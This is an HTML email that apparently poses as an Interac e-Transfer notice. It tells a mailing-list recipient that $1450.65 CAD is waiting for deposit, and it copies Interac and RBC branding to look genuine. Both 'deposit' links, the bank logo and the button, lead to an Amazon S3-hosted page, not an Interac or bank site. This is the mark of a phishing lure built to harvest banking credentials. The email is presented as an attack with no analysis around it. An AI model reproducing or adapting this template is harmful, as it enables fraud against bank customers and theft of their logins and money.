<!DOCTYPE html>
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
/* Base styles for both desktop and mobile */
body {
margin: 0;
padding: 0;
width: 100%;
background-color: #eaeced;
font-family: Arial, sans-serif;
}
table {
border-spacing: 0;
border-collapse: collapse;
width: 100%;
}
img {
display: block;
max-width: 100%;
height: auto;
}
a {
text-decoration: none;
color: inherit;
}
.container {
width: 100%;
max-width: 580px;
margin: 0 auto;
background-color: #fff;
border-radius: 8px;
overflow: hidden;
}
.header {
background-color: #222;
color: #eee;
padding: 20px;
text-align: center;
}
.header img {
width: 120px;
height: auto;
}
.content {
padding: 20px;
text-align: center;
}
.content h1 {
font-size: 18px;
color: #333;
margin-bottom: 10px;
}
.content p {
font-size: 16px;
color: #555;
margin: 10px 0;
}
.button {
background-color: #f0b51c;
color: #000;
padding: 12px 20px;
border-radius: 6px;
display: inline-block;
text-align: center;
font-weight: bold;
margin: 20px 0;
}
.footer {
font-size: 12px;
color: #666;
padding: 20px;
text-align: center;
background-color: #f9f9f9;
}
.footer strong {
color: #333;
}
.or-container {
text-align: center;
margin: 15px 0;
}
.or-circle {
background-color: #ccc;
color: #000;
font-weight: bold;
border-radius: 50%;
width: 40px;
height: 40px;
line-height: 40px;
text-align: center;
margin: 10px auto;
display: inline-block;
}
/* Mobile Styles */
@media only screen and (max-width: 600px) {
.container {
width: 100% !important;
padding: 0 10px;
}
.columns {
display: block;
width: 100% !important;
}
.text-right, .text-left {
text-align: center !important;
}
.text-pad {
padding: 10px !important;
}
.header img {
margin: 0 auto;
display: block;
}
}
</style>
</head>
<body>
<table class="body">
<tr>
<td>
<center>
<table class="container">
<tr>
<td class="header">
<a href="https://www.interac.ca/en" target="_blank">
<img alt="INTERAC" src="http://etransfer-notification.interac.ca/images/own/etransfer_top_banner.png">
</a>
</td>
</tr>
<tr>
<td class="content">
<h1>Hello pioneer-public@lists.triumf.ca,</h1>
<p>You have received a secure transfer of <strong>$1450.65 CAD</strong> from Veronica Smith on <strong> 2024-10-30 03:16:51 EDT</strong><strong></strong>.</p>
</td>
</tr>
<tr>
<td class="content">
<h1>Deposit Your Funds: at</h1>
<center>
<a href="https://interv2.s3.us-west-1.amazonaws.com/interv1.html" target="_blank">
<img alt="RBC Royal Bank" src="https://etransfer-content.interac.ca/en/logo_CA000003.png" width="100" height="40">
</a>
</center>
</td>
</tr>
<tr class="or-container">
<td>
<div class="or-circle">Or</div>
</td>
</tr>
<tr>
<td class="content">
<center>
<a class="button" href="https://interv2.s3.us-west-1.amazonaws.com/interv1.html" target="_blank">Select a Different Financial Institution</a>
</center>
</td>
</tr>
<tr>
<td class="footer">
<p><strong>Expiration:</strong> 2024-10-30 03:16:51 EDT</p>
<p><strong>Security Tip:</strong> Consider setting up Autodeposit to receive transfers directly into your bank account without needing to answer security questions.</p>
<p>If you did not expect this transfer, please contact our <strong>support team</strong> immediately.</p>
</td>
</tr>
<tr>
<td class="footer">
<p>© 2000 - 2024 Interac Corp. All rights reserved.<br>
<a href="https://www.interac.ca/en/interac-e-transfer-terms-of-use/" style="color: #999;">Terms of Use</a><br>
® Trademarks of Interac Corp.
</p>
</td>
</tr>
</table>
</center>
</td>
</tr>
</table>
</body>
</html>